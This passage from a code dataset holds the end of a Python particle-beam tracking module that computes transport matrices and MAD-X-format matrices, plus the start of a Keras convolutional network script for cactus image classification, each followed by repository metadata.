MeV\"\"\"\n        gamma = en_per_unit_MeV / self.get_e0_MeV() + 1\n        return np.sqrt(1 - ((1 / gamma)**2))\n\n\nclass SetGenerator(object):\n    \"\"\" generate a set of particles for the tracker \"\"\"\n    \n    def __init__(self, particleName):\n        assert particleName.lower() in ['proton', 'carbon12'], 'wrong particle name'\n        self.particle = Particle(particleName)\n        self.e0_eV = self.particle.get_e0_eV()\n        self.a = self.particle.get_a()\n        self.z = self.particle.get_z()\n        self.m0_MeV = self.particle.get_e0_MeV()\n\n    def get_part1_local(self, distr_part_ref, var_name, dvar_value, pid):\n        \"\"\" distr_part_ref is of type dictionary with fields:\n            dX, dXP, dY, dYP, dS, en_MeV, dD, dt.\n            var_name is a string of one of above\n            dvar_value is the change value applied to var_name field \"\"\"\n        distr = distr_part_ref.copy() # copy the reference particle into a new one\n        distr['pid'] = pid\n        if var_name == 'dD':\n            mom0 = self.particle.get_p0c(distr_part_ref['en_MeV']) * (1 + dvar_value)\n            distr['en_MeV'] = self.particle.get_en_per_unit_MeV(mom0)\n        else:\n            distr[var_name] += dvar_value\n        return distr\n    \n    def get_part1_global(self, distr, pos_glob0, ang_glob0, **kwargs):\n        \"\"\" take distribution (distr) of one particle in local coord. system\n        and convert to global coord. system \"\"\"\n        # read out local angles/energy and convert into momentum\n        P_loc = get_mom_from_ang(xp = distr['dXP'],\n                                 yp = distr['dYP'],\n                                 P = self.particle.get_p0c(distr['en_MeV']))\n        # move all to global\n        R = matrix_rotation(*ang_glob0)\n        # position to global\n        pos_glob = get_pos_glob(pos = np.array([distr['dX'], distr['dY'], distr['dS']]),\n                                   pos_glob = pos_glob0,\n                                   R = R)\n        # momentum to global\n        mom_glob = get_mom_glob(mom = list(P_loc),\n                                   R = R)\n        direction = kwargs.pop(\"direction\", None)\n        if direction is None:\n            return distr['pid'], pos_glob, mom_glob, distr['dt']\n        else:\n            return distr['pid'], pos_glob, mom_glob, distr['dt'], direction\n    \n    def get_partset_global(self, set_local, pos_glob0, ang_glob0, direction=None):\n        \"\"\" return the whole set of particles in GCS\n        based on the set in LCS \"\"\"\n        set_global = []\n        for key, value in set_local.items():\n            set_global.append(self.get_part1_global(distr = value, pos_glob0 = pos_glob0, ang_glob0 = ang_glob0, direction=direction))\n        return set_global\n\n    def get_part13_local(self, distr_part_ref, dX, dXP, dY, dYP, dt, dD):\n        \"\"\" local information on 13 particles based on offsets and reference particle \"\"\"\n        n_part = 13\n        names = ['dX', 'dX', 'dXP', 'dXP', 'dY', 'dY', 'dYP', 'dYP', 'dt', 'dt', 'dD', 'dD']\n        vals = [dX, -dX, dXP, -dXP, dY, -dY, dYP, -dYP, dt, -dt, dD, -dD]\n        distr13 = {}\n        for i in range(n_part):\n            distr13[i] = distr_part_ref.copy()\n            distr13[i]['pid'] = i\n            if i > 0:\n                distr13[i] = self.get_part1_local(distr_part_ref = distr_part_ref,\n                                                  var_name = names[i-1],\n                                                  dvar_value = vals[i-1],\n                                                  pid = i)\n        return distr13\n\n\nclass Tracks(object):\n    \"\"\" work on the set of tracks (list of dataframes, each dataframe corresponds to the track of one particle) \"\"\"\n    \n    def __init__(self, tracks_set, particle, ref_pid=0):\n        self.tracks_set = tracks_set\n        self.track_ref = tracks_set[ref_pid]\n        self.part_name = Particle(particle)\n\n    def set_ref_pid(self, ref_pid):\n        \"\"\" set the id of the reference particle and the reference track \"\"\"\n        self.ref_pid = ref_pid\n        self.track_ref = self.tracks_set[ref_pid]\n       \n    def get_ref_last_k(self):\n        \"\"\" get the last step of the reference particle track \"\"\"\n        return self.track_ref.shape[0]-1\n    \n    def get_pos_k_global(self, k):\n        \"\"\" return position components of reference particle at point k \"\"\"\n        return np.array([self.track_ref.iloc[k]['x'], self.track_ref.iloc[k]['y'], self.track_ref.iloc[k]['z']])\n\n    def get_mom_k_global(self, k):\n        \"\"\" return momentum components of reference particle at point k \"\"\"\n        return np.array([self.track_ref.iloc[k]['Px'], self.track_ref.iloc[k]['Py'], self.track_ref.iloc[k]['Pz']])\n\n    def get_p0(self, k):\n        \"\"\" return momentum scalar of reference particle at point k \"\"\"\n        return np.sqrt((self.get_mom_k_global(k)**2).sum())\n\n    def get_system_rotation_matrix(self, k):\n        \"\"\" return rotation matrix based on the momentum of reference particle at point k \"\"\"\n        mom_k = self.get_mom_k_global(k)\n        return matrix_rotation(*get_ang_from_mom(*mom_k))\n\n    def get_pos_loc(self, pos, pos_ref, k):\n        \"\"\" convert position pos in GCS to LCS\n        based on the local position of a particle at point k \n        and the local position of the reference particle at point k \"\"\"\n        R = self.get_system_rotation_matrix(k)\n        return np.dot(R, pos.T - pos_ref.T)\n    \n    def get_mom_loc(self, mom, k):\n        \"\"\" convert position mom in GCS to LCS at point k \"\"\"\n        R = self.get_system_rotation_matrix(k)\n        return np.dot(R, mom.T)\n\n    def get_part_at_k(self, pid, k):\n        \"\"\" return exact information of the particle of id pid at point k in GCS \"\"\"\n        tref_shape = self.track_ref.shape[0]\n        assert k <= tref_shape, 'There is only {} steps in the reference particle track'.format(tr_shape)\n\n        df = self.tracks_set[pid]\n        pos_k = self.get_pos_k_global(k)\n        df['distr_ref'] = np.sqrt((df['x'] - pos_k[0])**2 + (df['y'] - pos_k[1])**2 + (df['z'] - pos_k[2])**2)\n        dfsort = df.sort_values(by=['distr_ref'])\n\n        # the first closest track point to the reference particle track point for each particle \n        pos_c1 = np.array([float(dfsort.x.iloc[0]), float(dfsort.y.iloc[0]), float(dfsort.z.iloc[0])])\n        mom_c1 = np.array([float(dfsort.Px.iloc[0]), float(dfsort.Py.iloc[0]), float(dfsort.Pz.iloc[0])])\n        t1 = float(dfsort.t.iloc[0]) # time\n        \n        return pos_c1, mom_c1, t1\n    \n    def get_part_at_k_int(self, pid, k):\n        \"\"\" return approximated particle information at point k in global coord. system \"\"\"\n        tref_shape = self.track_ref.shape[0]\n        assert k <= tref_shape, 'There is only {} steps in the reference particle track'.format(tr_shape)\n\n        # reference particle @ point k: position and momentum at this point\n        df = self.tracks_set[pid]\n        pos_k = self.get_pos_k_global(k)\n        mom_k = self.get_mom_k_global(k)\n\n        df = self.tracks_set[pid]\n        df['distr_ref'] = np.sqrt((df['x'] - pos_k[0])**2 + (df['y'] - pos_k[1])**2 + (df['z'] - pos_k[2])**2)\n        dfsort = df.sort_values(by=['distr_ref'])\n\n        # plane normal to the reference vector\n        plane_k = plane(vector = mom_k, point = pos_k)\n        \n        # the first closest (c1) and second closest (c2) track point to the reference particle track point for each particle \n        # lines between c1 and c2\n        pos_c1 = np.array([float(dfsort.x.iloc[0]), float(dfsort.y.iloc[0]), float(dfsort.z.iloc[0])])\n        pos_c2 = np.array([float(dfsort.x.iloc[1]), float(dfsort.y.iloc[1]), float(dfsort.z.iloc[1])])\n        line_c1c2 = line_param(point1 = pos_c1, point2 = pos_c2)\n\n        # intersection point between line (c1c2) and the plane_k (normal to the reference traj)\n        ip = point(line_par = line_c1c2, plane = plane_k)\n\n        # global position on the reference plane\n        pos_g = np.array([ip[0], ip[1], ip[2]])\n        #print('pos_c1 = {}, pos_c2 = {}, pos_g = {}'.format(pos_c1, pos_c2, pos_g))\n\n        # distances of the intersection point to the previous and following points in the track\n        # they will be weights to determine the momentum at intersection point\n        d1 = distance( ip, pos_c1)\n        d2 = distance( ip, pos_c2)\n        w1 = d1 / (d1 + d2)\n        w2 = d2 / (d1 + d2)\n\n        # global momentum at points c1 and c2\n        mom_c1 = np.array([float(dfsort.Px.iloc[0]), float(dfsort.Py.iloc[0]), float(dfsort.Pz.iloc[0])])\n        mom_c2 = np.array([float(dfsort.Px.iloc[1]), float(dfsort.Py.iloc[1]), float(dfsort.Pz.iloc[1])])\n        mom_c1c2 = np.array([mom_c1, mom_c2]).T\n\n        mom_g = np.average(mom_c1c2, axis=1, weights=[w1, w2])\n        #print('mom_c1 = {}, mom_c2 = {}, mom_g = {}'.format(mom_c1, mom_c2, mom_g))\n\n        # time\n        t1 = float(dfsort.t.iloc[0])\n        t2 = float(dfsort.t.iloc[1])\n        ttime = np.average([t1, t2],  weights=[w1, w2])\n        print('w1 = {}, w2 = {}, t1 = {}, t2 = {}, ttime = {}'.format(w1, w2, t1, t2, ttime))\n\n        return pos_g, mom_g, t1\n\n    def get_tracks_set_loc(self, k):\n        \"\"\" return the set of tracks in the LCS of the reference particle at point k \"\"\"\n        tref_shape = self.track_ref.shape[0]\n        assert k <= tref_shape, 'There is only {} steps in the reference particle track'.format(tr_shape)\n    \n        # reference particle @ point k: position and momentum at this point\n        pos_k = self.get_pos_k_global(k)\n        mom_k = self.get_mom_k_global(k)\n        p0_k = self.get_p0(k)\n\n        # position and momentum in the reference system of ref. particle\n        pos_l, mom_l, ang_l, p0, D, t = [], [], [], [], [], []\n        for pid in range(0, len(self.tracks_set)):\n            # approximate particle information at point k in global coord. system\n            pos_g, mom_g, t_g = self.get_part_at_k(pid=pid, k=k)\n            #pos_g, mom_g, t_g = self.get_part_at_k_int(pid=pid, k=k)\n     \n            # convert the approximated values to local coordinate system of reference particle\n            pos_l.append(self.get_pos_loc(pos_g, pos_k, k))\n            mom_l_ = self.get_mom_loc(mom_g, k)\n            mom_l.append(mom_l_)\n            xp_l, yp_l = get_ang_from_mom(*mom_l_)\n            ang_l.append(np.array([xp_l, yp_l]))\n            p0.append(np.sqrt(mom_g[0]**2 + mom_g[1]**2 +mom_g[2]**2 ))\n            D.append((p0[pid]-p0_k)/p0_k)\n            t.append(t_g)\n        \n        return {'pos_l': pos_l, 'mom_l': mom_l, 'ang_l': ang_l, 'p0': p0, 'D': D, 't': t}\n\n    def get_transport_matrix(self, k, ret='mat'):\n        \"\"\" return the 1st order 6x6 transport matrix from the beginning to the point k \"\"\"\n        input_res = self.get_tracks_set_loc(0) # for initial offsets\n\n        dX = input_res['pos_l'][1][0] - input_res['pos_l'][0][0]\n        dXP = input_res['ang_l'][3][0] - input_res['ang_l'][0][0]\n        dY = input_res['pos_l'][5][1] - input_res['pos_l'][0][1]\n        dYP = input_res['ang_l'][7][1] - input_res['ang_l'][0][1]\n        dT = -c_m_per_s*(input_res['t'][9] - input_res['t'][0])\n        dD = input_res['D'][11] - input_res['D'][0]        \n        #print('Deltas = {}'.format((dX, dXP, dY, dYP, dT/c_m_per_s, dD)))\n        \n        # at point k\n        output_res = self.get_tracks_set_loc(k)\n        T = []\n        for pid in range(0, len(self.tracks_set)):\n            T.append(-c_m_per_s*(output_res['t'][pid] - output_res['t'][0]))\n\n        r11 = (output_res['pos_l'][1][0] - output_res['pos_l'][2][0]) / 2 / dX\n        r12 = (output_res['pos_l'][3][0] - output_res['pos_l'][4][0]) / 2 / dXP\n        r21 = (output_res['ang_l'][1][0] - output_res['ang_l'][2][0]) / 2 / dX\n        r22 = (output_res['ang_l'][3][0] - output_res['ang_l'][4][0]) / 2 / dXP\n        \n        r13 = (output_res['pos_l'][5][0] - output_res['pos_l'][6][0]) / 2 / dY\n        r14 = (output_res['pos_l'][7][0] - output_res['pos_l'][8][0]) / 2 / dYP\n        r23 = (output_res['ang_l'][5][0] - output_res['ang_l'][6][0]) / 2 / dY\n        r24 = (output_res['ang_l'][7][0] - output_res['ang_l'][8][0]) / 2 / dYP\n        \n        r15 = (output_res['pos_l'][9][0] - output_res['pos_l'][10][0]) / 2 / dT\n        r16 = (output_res['pos_l'][11][0] - output_res['pos_l'][12][0]) / 2 / dD\n        r25 = (output_res['ang_l'][9][0] - output_res['ang_l'][10][0]) / 2 / dT\n        r26 = (output_res['ang_l'][11][0] - output_res['ang_l'][12][0]) / 2 / dD\n        \n        r31 = (output_res['pos_l'][1][1] - output_res['pos_l'][2][1]) / 2 / dX\n        r32 = (output_res['pos_l'][3][1] - output_res['pos_l'][4][1]) / 2 / dXP\n        r41 = (output_res['ang_l'][1][1] - output_res['ang_l'][2][1]) / 2 / dX\n        r42 = (output_res['ang_l'][3][1] - output_res['ang_l'][4][1]) / 2 / dXP\n        \n        r33 = (output_res['pos_l'][5][1] - output_res['pos_l'][6][1]) / 2 / dY\n        r34 = (output_res['pos_l'][7][1] - output_res['pos_l'][8][1]) / 2 / dYP\n        r43 = (output_res['ang_l'][5][1] - output_res['ang_l'][6][1]) / 2 / dY\n        r44 = (output_res['ang_l'][7][1] - output_res['ang_l'][8][1]) / 2 / dYP\n        \n        r35 = (output_res['pos_l'][9][1] - output_res['pos_l'][10][1]) / 2 / dT\n        r36 = (output_res['pos_l'][11][1] - output_res['pos_l'][12][1]) / 2 / dD\n        r45 = (output_res['ang_l'][9][1] - output_res['ang_l'][10][1]) / 2 / dT\n        r46 = (output_res['ang_l'][11][1] - output_res['ang_l'][12][1]) / 2 / dD\n\n        r51 = (T[1] - T[2]) / 2 / dX\n        r52 = (T[3] - T[4]) / 2 / dXP\n        r61 = (output_res['D'][1] - output_res['D'][2]) / 2 / dX\n        r62 = (output_res['D'][3] - output_res['D'][4]) / 2 / dXP\n\n        r53 = (T[5] - T[6]) / 2 / dY\n        r54 = (T[7] - T[8]) / 2 / dYP\n        r63 = (output_res['D'][5] - output_res['D'][6]) / 2 / dY\n        r64 = (output_res['D'][7] - output_res['D'][8]) / 2 / dYP\n        \n        r55 = (T[9] - T[10]) / 2 / dT\n        r56 = (T[11] - T[12]) / 2 / dD\n        r65 = (output_res['D'][9] - output_res['D'][10]) / 2 / dT\n        r66 = (output_res['D'][11] - output_res['D'][12]) / 2 / dD\n\n        mat = [[r11, r12, r13, r14, r15, r16],\n               [r21, r22, r23, r24, r25, r26],\n               [r31, r32, r33, r34, r35, r36],\n               [r41, r42, r43, r44, r45, r46],\n               [r51, r52, r53, r54, r55, r56],\n               [r61, r62, r63, r64, r65, r66]]\n      \n        if ret == 'mat':\n            return mat\n        elif ret == 'mat_distance':\n            pos_g, _, _ = self.get_part_at_k(0, k)\n            return mat, pos_g\n        \n    def get_madx_matrix(self, mat_arr, k):\n        \"\"\" return the transport matrix in the typical madx format \n        based on the transport matrix mat_arr at point k \"\"\"\n        madx_mat_arr = np.copy(mat_arr)\n\n        # get local outputs at point k\n        output_res = self.get_tracks_set_loc(k)\n        can_l, T, PT = [], [], []\n        for pid in range(0, len(self.tracks_set)):\n            can_l.append(get_can_from_mom(output_res['mom_l'][pid][0],\n                                          output_res['mom_l'][pid][1],\n                                          output_res['mom_l'][pid][2],\n                                          output_res['p0'][pid]))\n            T.append(-c_m_per_s * (output_res['t'][pid] - output_res['t'][0]))\n            lbeta = self.part_name.get_lorentz_beta(self.part_name.get_en_per_unit_MeV(output_res['p0'][pid]))\n            PT.append(lbeta * output_res['D'][pid])\n\n        # recalculate coefficients\n        for row in range(0,6):\n            # column px\n            madx_mat_arr[row][1] = madx_mat_arr[row][1] * output_res['ang_l'][3][0] / can_l[3][0]         \n            # column py\n            madx_mat_arr[row][3] = madx_mat_arr[row][3] * output_res['ang_l'][7][1] / can_l[7][1]   \n            # column PT\n            madx_mat_arr[row][5] = madx_mat_arr[row][5] * output_res['D'][11] / PT[11] \n\n        for col in range(0,6):\n            # row px\n            madx_mat_arr[1][col] = madx_mat_arr[1][col] * can_l[3][0] / output_res['ang_l'][3][0] \n            # row py\n            madx_mat_arr[3][col] = madx_mat_arr[3][col] * can_l[7][1] / output_res['ang_l'][7][1] \n            # row PT\n            madx_mat_arr[5][col] = madx_mat_arr[5][col] * PT[11] / output_res['D'][11] \n\n        return madx_mat_arr\n\n    def get_track_condition(self):\n        \"\"\" return coeffcients of the line that determines the end of tracking for a set of particles\n        based on a previously run single reference particle track \"\"\"\n        z1 = self.track_ref['z'].iloc[-1]\n        x1 = self.track_ref['x'].iloc[-1]\n        z2 = self.track_ref['z'].iloc[-2]\n        x2 = self.track_ref['x'].iloc[-2]\n        a_ref, b_ref = perpendicular_line(z1,x1,z2,x2)\n        a = -1/a_ref\n        b = x1 - a*z1\n    \n        return (a,b)\n    \n    def plot_track(self, pid, legend = False, **kwargs):\n        \"\"\" plot track of the particle pid \"\"\"\n        track = self.tracks_set[pid]\n        \n        label = kwargs.pop(\"label\", None)\n        if label is None:\n            label = \"particle \" + str(pid)\n            \n        figsize = kwargs.pop(\"figsize\", None)\n        if figsize is None:\n            figsize=(5,5)\n        \n        axes = kwargs.pop(\"axes\", None)\n        plot_yz = kwargs.pop(\"plot_yz\", False)\n        if plot_yz is False:\n            \n            if axes is None:\n                fig, axes = plt.subplots(2, 1, figsize=figsize, tight_layout=True, sharex=False)\n            [ax0, ax1] = axes\n            \n            ax0.plot(track['z'], track['y'], label = label)\n            ax0.set_ylabel('y [m]')\n            ax1.plot(track['z'], track['x'], label = label)\n            ax1.set_ylabel('x [m]')\n            ax1.set_xlabel('z [m]')\n            if legend:\n                ax0.legend()\n                ax1.legend()\n            return axes\n            \n        else:\n            if axes is None:\n                fig, ax0 = plt.subplots(1, 1, figsize=figsize, tight_layout=True)\n            else:\n                ax0 = axes\n            ax0.plot(track['z'], track['y'], label = label)\n            ax0.set_ylabel('y [m]')\n            if legend:\n                ax0.legend()            \n            return ax0\n    \n    def save_ref_to_csv(self, filename):\n        \"\"\" save the reference particle trajectory to a csv file \"\"\"\n        ref_trajectory = self.track_ref.copy()\n        ref_trajectory = ref_trajectory.drop(columns=['id', 'k', 'Px', 'Py', 'Pz', 't'])\n        ref_trajectory.to_csv(filename, index = False)\n\n\nclass Fitter(object):\n    \"\"\" polynomial fits to a 2D set of points \"\"\" \n    \n    def __init__(self, xt, yt):\n        self.xt = xt\n        self.yt = yt\n    \n    def get_fit(self, order):\n        \"\"\" return the polynomial fit of the given order \"\"\"\n        return np.polyfit(self.xt, self.yt, order)\n    \n    def get_y_fitted(self, order):\n        \"\"\" return the fitted values \"\"\"\n        p = self.get_fit(order)\n        return np.polyval(p, self.xt)\n    \n    def get_residuals(self, order):\n        \"\"\" return the residuals between the inputs and fitted values \"\"\"\n        yf = self.get_y_fitted(order)\n        return self.yt - yf\n    \n    def get_rel_errors(self, order):\n        \"\"\" return the relative errors of the fitted values \"\"\"\n        res = self.get_residuals(order)\n        return res / self.yt\n", "repo_name": "eliottjohnson/MADX-Examples-Eliott", "sub_path": "atracker.py", "file_name": "atracker.py", "file_ext": "py", "file_size_in_byte": 28137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.sqrt", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.arcsin", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 50, "usage_type": "call"}, {"api_name": "scipy.interpolate.RegularGridInterpolator", "line_number": 59, "usage_type": "call"}, {"api_name": "scipy.interpolate.RegularGridInterpolator", "line_number": 61, "usage_type": "call"}, {"api_name": "scipy.interpolate.RegularGridInterpolator", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 74, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 74, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 75, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 77, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 77, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 79, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 81, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 81, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 81, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 82, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 89, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 145, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 384, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 385, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 392, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 405, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 407, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 440, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 441, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 526, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 589, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 589, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 604, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 604, "usage_type": "name"}, {"api_name": "numpy.polyfit", "line_number": 629, "usage_type": "call"}, {"api_name": "numpy.polyval", "line_number": 634, "usage_type": "call"}]}
{"seq_id": "69962943910", "text": "import matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport os\nimport sys\nfrom PIL import Image\n\nfrom tensorflow.python.keras.models import Sequential\nfrom tensorflow.python.keras.layers import Conv2D, Dense, MaxPool2D, Flatten\nfrom tensorflow.python.keras.layers import BatchNormalization, Activation, Dropout\nfrom tensorflow.python.keras.optimizers import Adam\nfrom tensorflow.python.keras.callbacks import EarlyStopping, ReduceLROnPlateau\n\ndf = pd.read_csv('data/train.csv')\nim = Image.open(\"data/train/000c8a36845c0208e833c79c1bffedd1.jpg\")\n\nshape = (len(df),) + im.size + (3,)\n\ntrain_images = np.zeros(shape=shape, dtype=np.float16)\nfor i, file in enumerate(df['id']):\n    train_images[i] = Image.open('data/train/' + str(file))\n\nkernel_size=(3,3)\npool_size=(2,2)\nfirst_filter=32\nsecond_filter=64\nthird_filter=128\n\ndropout_conv=0.3\ndropout_dense=0.3\n\nmodel = Sequential()\nmodel.add(Conv2D(first_filter, kernel_size, padding='same', activation='relu', input_shape= (32,32,3)))\nmodel.add(Conv2D(first_filter, kernel_size, padding='same', use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPool2D(pool_size=pool_size))\nmodel.add(Dropout(dropout_conv))\n\nmodel.add(Conv2D(second_filter, kernel_size, padding='same', use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(second_filter, kernel_size, padding='same', use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Activation(\"relu\"))\nmodel.add(MaxPool2D(pool_size = pool_size))\nmodel.add(Dropout(dropout_conv))\n\nmodel.add(Conv2D(third_filter, kernel_size, padding='same', use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Activation(\"relu\"))\nmodel.add(Conv2D(third_filter, kernel_size, padding='same', use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Activation(\"relu\"))\nmodel.add(MaxPool2D(pool_size = pool_size))\nmodel.add(Dropout(dropout_conv))\n\nmodel.add(Flatten())\nmodel.add(Dense(256, use_bias=False))\nmodel.add(BatchNormalization())\nmodel.add(Activation(\"relu\"))\nmodel.add(Dropout(dropout_dense))\nmodel.add(Dense(1, activation = \"sigmoid\"))\n\nmodel.compile(Adam(0.01), loss = \"binary_crossentropy\", metrics=[\"accuracy\"])\n\n\nearlystopper = EarlyStopping(monitor='val_loss', patience=2, verbose=1, restore_best_weights=True)\nreducel = ReduceLROnPlateau(monitor='val_loss', patience=1, verbose=1, factor=0.1)\n\nmodel.fit(x=train_images,\n          y=df['has_cactus'],\n          batch_size=128,\n          epochs=50,\n          validation_split=0.2,\n          callbacks=[reducel, earlystopper])\n\ntest_df = pd.read_csv('data/sample_submission.csv')\n\ntest_images = np.zeros(shape=(4000, 32, 32, 3), dtype=np.float16)\nfor i, file in enumerate(test_df['id']):\n    test_images[i] = Image.open('data/test/' + str(file))\n\ny_pred = model.predict(x=test_images)\ntest_df['has_cactus'] = y_pred\ntest_df.to_csv('submission.csv', index=False)\n", "repo_name": "evpa/cactus-classification", "sub_path": "nn.py", "file_name": "nn.py", "file_ext": "py", "file_size_in_byte": 2930, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 16, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.float16", "line_number": 20, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 22, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 22, "usage_type": "name"}, {"api_name": "tensorflow.python.keras.models.Sequential", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Conv2D", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Conv2D", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.BatchNormalization", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Activation", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.MaxPool2D", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Dropout", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Conv2D", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.BatchNormalization", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Activation", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Conv2D", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.BatchNormalization", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Activation", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.MaxPool2D", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Dropout", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Conv2D", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.BatchNormalization", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Activation", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Conv2D", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.BatchNormalization", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Activation", "line_number": 55, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.MaxPool2D", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Dropout", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Flatten", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.python.keras.layers.Dense", "line_number": 60, "usage_type": 